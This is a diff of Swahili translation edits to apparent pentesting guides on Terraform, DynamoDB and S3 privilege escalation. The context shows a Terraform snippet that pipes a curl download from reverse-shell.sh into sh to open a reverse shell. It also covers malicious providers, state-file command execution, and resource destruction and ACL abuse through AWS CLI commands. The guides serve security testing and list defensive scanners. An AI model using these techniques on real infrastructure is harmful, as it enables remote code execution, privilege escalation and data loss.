diff --git a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md index 47943458d..e3c7927c5 100644 --- a/src/pentesting-ci-cd/terraform-security.md +++ b/src/pentesting-ci-cd/terraform-security.md @@ -18,7 +18,7 @@ HashiCorp na jamii ya Terraform tayari wameandika **watoa huduma zaidi ya 1700** Mtiririko wa msingi wa Terraform unajumuisha hatua tatu: -- **Andika:** Unafafanua rasilimali, ambazo zinaweza kuwa katika watoa huduma na huduma nyingi za wingu. Kwa mfano, unaweza kuunda usanidi wa kupeleka programu kwenye mashine za virtual katika mtandao wa Virtual Private Cloud (VPC) zikiwa na vikundi vya usalama na balancer ya mzigo. +- **Andika:** Unafafanua rasilimali, ambazo zinaweza kuwa katika watoa huduma na huduma nyingi za wingu. Kwa mfano, unaweza kuunda usanidi wa kupeleka programu kwenye mashine za virtual katika mtandao wa Virtual Private Cloud (VPC) pamoja na vikundi vya usalama na balancer ya mzigo. - **Panga:** Terraform inaunda mpango wa utekelezaji unaelezea miundombinu itakayoundwa, kusasishwa, au kuharibiwa kulingana na miundombinu iliyopo na usanidi wako. - **Tumia:** Kwa idhini, Terraform inatekeleza operesheni zilizopendekezwa kwa mpangilio sahihi, ikiheshimu utegemezi wowote wa rasilimali. Kwa mfano, ikiwa unasasisha mali za VPC na kubadilisha idadi ya mashine za virtual katika VPC hiyo, Terraform itaunda upya VPC kabla ya kupanua mashine za virtual. @@ -32,13 +32,29 @@ Hapa una [mwongozo](https://learn.hashicorp.com/tutorials/terraform/install-cli) ## RCE katika Terraform: kuharibu faili ya usanidi -Terraform **haina jukwaa linalofichua ukurasa wa wavuti au huduma ya mtandao** tunaweza kuhesabu, kwa hivyo, njia pekee ya kuathiri terraform ni **kuwa na uwezo wa kuongeza/kubadilisha faili za usanidi za terraform** au **kuwa na uwezo wa kubadilisha faili ya hali ya terraform** (angalia sura hapa chini). +Terraform **haina jukwaa linalofichua ukurasa wa wavuti au huduma ya mtandao** tunaweza kuhesabu, kwa hivyo, njia pekee ya kuathiri terraform ni **kuwa na uwezo wa kuongeza/kubadilisha faili za usanidi wa terraform** au **kuwa na uwezo wa kubadilisha faili ya hali ya terraform** (angalia sura hapa chini). -Hata hivyo, terraform ni **kipengele nyeti sana** kuathiri kwa sababu itakuwa na **ufikiaji wa kijasiri** kwa maeneo tofauti ili iweze kufanya kazi ipasavyo. +Hata hivyo, terraform ni **kipengele nyeti sana** kuathiri kwa sababu itakuwa na **ufikiaji wa kipaumbele** kwa maeneo tofauti ili iweze kufanya kazi ipasavyo. Njia kuu kwa mshambuliaji kuwa na uwezo wa kuathiri mfumo ambapo terraform inafanya kazi ni **kuathiri hifadhi inayohifadhi usanidi wa terraform**, kwa sababu kwa wakati fulani wata **fasiriwa**. -Kwa kweli, kuna suluhisho huko nje ambazo **zinafanya mp +Kwa kweli, kuna suluhisho huko nje ambazo **zinafanya mpango wa terraform/tumia kiotomatiki baada ya PR** kuundwa, kama **Atlantis**: + +{{#ref}} +atlantis-security.md +{{#endref}} + +Ikiwa una uwezo wa kuathiri faili ya terraform kuna njia tofauti unaweza kufanya RCE wakati mtu anatekeleza `terraform plan` au `terraform apply`. + +### Terraform plan + +Terraform plan ni **amri inayotumika zaidi** katika terraform na waendelezaji/misitu inayotumia terraform huipigia simu kila wakati, hivyo **njia rahisi ya kupata RCE** ni kuhakikisha unaharibu faili ya usanidi wa terraform ambayo itatekeleza amri zisizo za kawaida katika `terraform plan`. + +**Kutumia mtoa huduma wa nje** + +Terraform inatoa [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) ambayo inatoa njia ya kuunganishwa kati ya Terraform na programu za nje. Unaweza kutumia chanzo cha data `external` kuendesha msimbo wowote wakati wa `plan`. + +Kuingiza katika faili ya usanidi wa terraform kitu kama ifuatavyo kutaendesha shell ya rev wakati wa kutekeleza `terraform plan`: ```javascript data "external" "example" { program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"] @@ -46,7 +62,7 @@ program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh" ``` **Kutumia mtoa huduma wa kawaida** -Mshambuliaji anaweza kutuma [mtoa huduma wa kawaida](https://learn.hashicorp.com/tutorials/terraform/provider-setup) kwenye [Terraform Registry](https://registry.terraform.io/) na kisha kuiongeza kwenye msimbo wa Terraform katika tawi la kipengele ([mfano kutoka hapa](https://alex.kaskaso.li/post/terraform-plan-rce)): +Mshambuliaji anaweza kutuma [mtoa huduma wa kawaida](https://learn.hashicorp.com/tutorials/terraform/provider-setup) kwa [Terraform Registry](https://registry.terraform.io/) na kisha kuiongeza kwenye msimbo wa Terraform katika tawi la kipengele ([mfano kutoka hapa](https://alex.kaskaso.li/post/terraform-plan-rce)): ```javascript terraform { required_providers { @@ -59,7 +75,7 @@ version = "1.0" provider "evil" {} ``` -Mtoa huduma anapakuliwa katika `init` na atakimbia msimbo mbaya wakati `plan` inatekelezwa. +Mtoa huduma anapakuliwa katika `init` na atatekeleza msimbo mbaya wakati `plan` inatekelezwa. Unaweza kupata mfano katika [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec) @@ -75,7 +91,7 @@ source = "git@github.com:carlospolop/terraform_external_module_rev_shell//module ``` You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) -- Katika rasilimali ya nje, tumia kipengele cha **ref** kuficha **kodi ya rev shell ya terraform katika tawi** ndani ya repo, kitu kama: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` +- Katika rasilimali ya nje, tumia kipengele cha **ref** kuficha **terraform rev shell code in a branch** ndani ya repo, kitu kama: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` ### Terraform Apply @@ -108,15 +124,15 @@ value = nonsensitive(var.do_token) ``` ## Abusing Terraform State Files -Katika hali ambapo una ruhusa ya kuandika kwenye faili za hali za terraform lakini huwezi kubadilisha msimbo wa terraform, [**utafiti huu**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) unatoa chaguzi za kuvutia za kunufaika na faili hiyo. Hata kama ungekuwa na ruhusa ya kuandika kwenye faili za usanidi, kutumia vector ya faili za hali mara nyingi ni ya ujanja zaidi, kwani huacha alama katika historia ya `git`. +Katika hali ambapo una ufikiaji wa kuandika kwenye faili za hali za terraform lakini huwezi kubadilisha msimbo wa terraform, [**utafiti huu**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) unatoa chaguzi za kuvutia za kunufaika na faili hiyo. Hata kama ungekuwa na ufikiaji wa kuandika kwenye faili za usanidi, kutumia vector ya faili za hali mara nyingi ni ya ujanja zaidi, kwani huacha alama katika historia ya `git`. ### RCE katika Terraform: uchafuzi wa faili za usanidi Inawezekana [kuunda mtoa huduma maalum](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) na kubadilisha tu mmoja wa watoa huduma katika faili ya hali ya terraform kwa yule mbaya au kuongeza rasilimali bandia inayorejelea mtoa huduma mbaya. -Mtoa huduma [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) unajenga juu ya utafiti na kuifanya kanuni hii kuwa silaha. Unaweza kuongeza rasilimali bandia na kutaja amri ya bash isiyo na mipaka unayotaka kuendesha katika sifa ya `command`. Wakati mchakato wa `terraform` unapoanzishwa, hii itasomwa na kutekelezwa katika hatua za `terraform plan` na `terraform apply`. Katika hatua ya `terraform apply`, `terraform` itafuta rasilimali bandia kutoka kwa faili ya hali baada ya kutekeleza amri yako, ikijisafisha yenyewe. Taarifa zaidi na onyesho kamili yanaweza kupatikana katika [GitHub repository inayohifadhi msimbo wa chanzo wa mtoa huduma huu](https://github.com/offensive-actions/terraform-provider-statefile-rce). +Mtoa huduma [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) unajenga juu ya utafiti na kuleta silaha kanuni hii. Unaweza kuongeza rasilimali bandia na kutaja amri ya bash isiyo na mipaka unayotaka kuendesha katika sifa ya `command`. Wakati mchakato wa `terraform` unapoanzishwa, hii itasomwa na kutekelezwa katika hatua za `terraform plan` na `terraform apply`. Katika hatua ya `terraform apply`, `terraform` itafuta rasilimali bandia kutoka kwa faili ya hali baada ya kutekeleza amri yako, ikisafisha baada yake. Taarifa zaidi na onyesho kamili yanaweza kupatikana katika [GitHub repository inayohifadhi msimbo wa chanzo wa mtoa huduma huu](https://github.com/offensive-actions/terraform-provider-statefile-rce). -Ili kuifanya moja kwa moja, jumuisha tu yafuatayo katika nafasi yoyote ya orodha ya `resources` na ubinafsishe sifa za `name` na `command`: +Ili kuifanya moja kwa moja, jumuisha tu yafuatayo katika nafasi yoyote ya orodha ya `resources` na kubadilisha sifa za `name` na `command`: ```json { "mode": "managed", @@ -142,9 +158,9 @@ Kisha, mara tu `terraform` itakapotekelezwa, msimbo wako utaendesha. Kuna njia 2 za kuharibu rasilimali: -1. **Ingiza rasilimali yenye jina la nasibu kwenye faili la hali ikielekeza kwenye rasilimali halisi ya kuharibu** +1. **Ingiza rasilimali yenye jina la bahati nasibu kwenye faili la hali ikielekeza kwenye rasilimali halisi ya kuharibu** -Kwa sababu terraform itaona kwamba rasilimali hiyo haipaswi kuwepo, itaiharibu (ikifuatilia kitambulisho halisi cha rasilimali kilichoonyeshwa). Mfano kutoka ukurasa wa awali: +Kwa sababu terraform itaona kwamba rasilimali hiyo haipaswi kuwepo, itaiondoa (ikifuatilia kitambulisho halisi cha rasilimali kilichotajwa). Mfano kutoka ukurasa wa awali: ```json { "mode": "managed", @@ -164,9 +180,9 @@ Kwa sababu terraform itaona kwamba rasilimali hiyo haipaswi kuwepo, itaiharibu ( Kwa mfano la EC2, kubadilisha aina ya mfano ni ya kutosha kufanya terraform ifute na kuunda upya. -### Badilisha mtoa huduma aliyeorodheshwa kwenye orodha ya madoa +### Badilisha mtoa huduma aliyeorodheshwa kama mweusi -Iwapo utapata hali ambapo `hashicorp/external` imeorodheshwa kwenye orodha ya madoa, unaweza kuitekeleza tena mtoa huduma `external` kwa kufanya yafuatayo. Kumbuka: Tunatumia fork ya mtoa huduma wa external iliyochapishwa na https://registry.terraform.io/providers/nazarewk/external/latest. Unaweza kuchapisha fork yako mwenyewe au utekelezaji wa upya pia. +Iwapo utapata hali ambapo `hashicorp/external` imeorodheshwa kama mweusi, unaweza kuitekeleza tena mtoa huduma `external` kwa kufanya yafuatayo. Kumbuka: Tunatumia fork ya mtoa huduma wa external iliyochapishwa na https://registry.terraform.io/providers/nazarewk/external/latest. Unaweza kuchapisha fork yako mwenyewe au utekelezaji upya pia. ```terraform terraform { required_providers { @@ -207,24 +223,24 @@ snyk iac test /path/to/terraform/code Inachanganua miundombinu ya wingu iliyotolewa kwa kutumia [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), au [OpenTofu](https://opentofu.org/) na kugundua makosa ya usalama na kufuata kwa kutumia uchambuzi wa msingi wa grafu. -Inatekeleza [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) ambayo ni uchambuzi wa pakiti za chanzo wazi na picha kwa ajili ya Uthibitisho wa Uhalifu wa Kawaida (CVEs). +Inafanya [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) ambayo ni uchambuzi wa pakiti za chanzo wazi na picha kwa ajili ya Uthibitisho wa Uhalifu wa Kawaida (CVEs). ```bash pip install checkov checkov -d /path/to/folder ``` ### [terraform-compliance](https://github.com/terraform-compliance/cli) -Kutoka kwenye [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` ni mfumo wa majaribio mwepesi, unaolenga usalama na ufuatiliaji wa sheria dhidi ya terraform ili kuwezesha uwezo wa majaribio hasi kwa miundombinu yako kama msimbo. +From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` ni mfumo wa majaribio mwepesi, unaolenga usalama na ufuatiliaji wa sheria dhidi ya terraform ili kuwezesha uwezo wa majaribio hasi kwa miundombinu yako kama-msingi wa kanuni. -- **compliance:** Hakikisha kwamba msimbo ulioanzishwa unafuata viwango vya usalama, viwango vyako vya kawaida +- **compliance:** Hakikisha kwamba kanuni iliyotekelezwa inafuata viwango vya usalama, viwango vyako vya kawaida - **behaviour driven development:** Tuna BDD kwa karibu kila kitu, kwa nini isiwe kwa IaC? -- **portable:** sakinisha tu kutoka `pip` au uendeshe kupitia `docker`. Tazama [Installation](https://terraform-compliance.com/pages/installation/) -- **pre-deploy:** inathibitisha msimbo wako kabla ya kupelekwa +- **portable:** sakinisha tu kutoka `pip` au ikimbie kupitia `docker`. Tazama [Installation](https://terraform-compliance.com/pages/installation/) +- **pre-deploy:** inathibitisha kanuni yako kabla ya kupelekwa - **easy to integrate:** inaweza kukimbia katika mchakato wako (au katika git hooks) ili kuhakikisha kwamba uhamasishaji wote umethibitishwa. - **segregation of duty:** unaweza kuweka majaribio yako katika hazina tofauti ambapo timu tofauti inawajibika. > [!NOTE] -> Kwa bahati mbaya, ikiwa msimbo unatumia baadhi ya watoa huduma ambao huna ufikiaji nao, huwezi kufanya `terraform plan` na kuendesha chombo hiki. +> Kwa bahati mbaya, ikiwa kanuni inatumia baadhi ya watoa huduma ambao huna ufikiaji nao, huwezi kufanya `terraform plan` na kuendesha chombo hiki. ```bash pip install terraform-compliance terraform plan -out=plan.out @@ -259,12 +275,12 @@ docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/" ``` ### [Terrascan](https://github.com/tenable/terrascan) -Kutoka kwa [**docs**](https://github.com/tenable/terrascan): Terrascan ni mchanganuzi wa msimbo wa statiki kwa Miundombinu kama Msimbo. Terrascan inakuwezesha: +Kutoka kwenye [**docs**](https://github.com/tenable/terrascan): Terrascan ni mchambuzi wa msimbo wa statiki kwa Miundombinu kama Msimbo. Terrascan inakuwezesha: -- Kuchunguza miundombinu kama msimbo kwa makosa ya usanidi bila shida. +- Kuchunguza miundombinu kama msimbo kwa makosa ya usanidi bila mshono. - Kufuatilia miundombinu ya wingu iliyotolewa kwa mabadiliko ya usanidi yanayoleta mabadiliko ya hali, na inaruhusu kurudi kwenye hali salama. - Kugundua udhaifu wa usalama na ukiukaji wa kufuata sheria. -- Kupunguza hatari kabla ya kutoa miundombinu ya wingu asilia. +- Kupunguza hatari kabla ya kutoa miundombinu ya asili ya wingu. - Inatoa kubadilika kukimbia kwa ndani au kuungana na CI\CD yako. ```bash brew install terrascan diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md index 2ed411f38..f583d7e45 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md @@ -16,9 +16,9 @@ Tangu Machi 2024, AWS inatoa *sera za msingi wa rasilimali* kwa ajili ya DynamoD Hivyo, ikiwa una `dynamodb:PutResourcePolicy` kwa meza, unaweza kujipa wewe mwenyewe au mtu mwingine yeyote ufikiaji kamili kwa meza hiyo. -Kutoa `dynamodb:PutResourcePolicy` kwa mtu yeyote wa bahati nasibu mara nyingi hutokea kwa bahati mbaya, ikiwa wasimamizi wanafikiri kwamba kutoa `dynamodb:Put*` kutaruhusu tu mtu huyo kuweka vitu kwenye hifadhidata - au ikiwa walitoa ruhusa hiyo kabla ya Machi 2024... +Kutoa `dynamodb:PutResourcePolicy` kwa mtu yeyote wa bahati mbaya mara nyingi hutokea kwa bahati mbaya, ikiwa wasimamizi wanafikiri kwamba kutoa `dynamodb:Put*` kutaruhusu tu mtu huyo kuweka vitu kwenye hifadhidata - au ikiwa walitoa seti hiyo ya ruhusa kabla ya Machi 2024... -Kwa kawaida, unapaswa pia kuwa na `dynamodb:GetResourcePolicy`, ili usifute ruhusa nyingine muhimu, bali tu uweke ruhusa za ziada unazohitaji: +Kwa kawaida, unapaswa pia kuwa na `dynamodb:GetResourcePolicy`, ili usiandike tena ruhusa nyingine muhimu, bali tu uweke ruhusa zilizoongezwa unazohitaji: ```bash # get the current resource based policy (if it exists) and save it to a file aws dynamodb get-resource-policy \ @@ -61,7 +61,7 @@ Sasa, unapaswa kuwa na ruhusa ulizohitaji. ### Post Exploitation -Kuhusu ninavyojua, **hakuna njia nyingine ya moja kwa moja ya kupandisha ruhusa katika AWS kwa kuwa na ruhusa za AWS `dynamodb`**. Unaweza **kusoma taarifa nyeti** kutoka kwa meza (ambazo zinaweza kuwa na akauti za AWS) na **kuandika taarifa kwenye meza** (ambazo zinaweza kusababisha udhaifu mwingine, kama vile sindano za msimbo wa lambda...) lakini chaguzi hizi zote tayari zinachukuliwa katika **ukurasa wa DynamoDB Post Exploitation**: +Kuhusu ninavyojua, **hakuna njia nyingine ya moja kwa moja ya kupandisha ruhusa katika AWS kwa kuwa na ruhusa za AWS `dynamodb`**. Unaweza **kusoma taarifa nyeti** kutoka kwa meza (ambazo zinaweza kuwa na akauti za AWS) na **kuandika taarifa kwenye meza** (ambazo zinaweza kusababisha udhaifu mwingine, kama vile sindano za msimbo wa lambda...) lakini chaguzi hizi zote tayari zinachukuliwa katika **ukurasa wa Post Exploitation wa DynamoDB**: {{#ref}} ../aws-post-exploitation/aws-dynamodb-post-exploitation.md diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md index dbc2c4044..979271d44 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md @@ -34,7 +34,7 @@ Kwa mfano, mshambuliaji mwenye **ruhusa hizo juu ya ndoo ya cloudformation** ina ] } ``` -Na hijack inapatikana kwa sababu kuna **dirisha dogo la muda kutoka wakati template inapoupoload** kwenye bucket hadi wakati **template inatekelezwa**. Mshambuliaji anaweza tu kuunda **lambda function** katika akaunti yake ambayo itakuwa **inachochewa wakati arifa ya bucket inatumwa**, na **hijacks** **maudhui** ya **bucket** hiyo. +Na hijack inapatikana kwa sababu kuna **dirisha dogo la muda kutoka wakati template inapoupoload** kwenye bucket hadi wakati **template inatekelezwa**. Mshambuliaji anaweza tu kuunda **lambda function** katika akaunti yake ambayo it **itachochewa wakati arifa ya bucket itatumwa**, na **hijacks** **maudhui** ya **bucket** hiyo. ![](<../../../images/image (174).png>) @@ -151,7 +151,7 @@ aws s3api put-bucket-acl --bucket --access-control-policy file://a ``` ### `s3:GetObjectAcl`, `s3:PutObjectAcl` -Mshambuliaji anaweza kutumia ruhusa hizi kumpatia ufikiaji zaidi juu ya vitu maalum ndani ya makundi. +Mshambuliaji anaweza kutumia ruhusa hizi kuwapa ufikiaji zaidi juu ya vitu maalum ndani ya mifuko. ```bash # Update bucket object ACL aws s3api get-object-acl --bucket --key flag @@ -178,7 +178,7 @@ aws s3api put-object-acl --bucket --key flag --access-control-poli ``` ### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl` -Mshambuliaji mwenye ruhusa hizi anatarajiwa kuwa na uwezo wa kuweka Acl kwa toleo maalum la kitu. +Mshambuliaji mwenye haki hizi anatarajiwa kuwa na uwezo wa kuweka Acl kwa toleo maalum la kitu. ```bash aws s3api get-object-acl --bucket --key flag aws s3api put-object-acl --bucket --key flag --version-id --access-control-policy file://objacl.json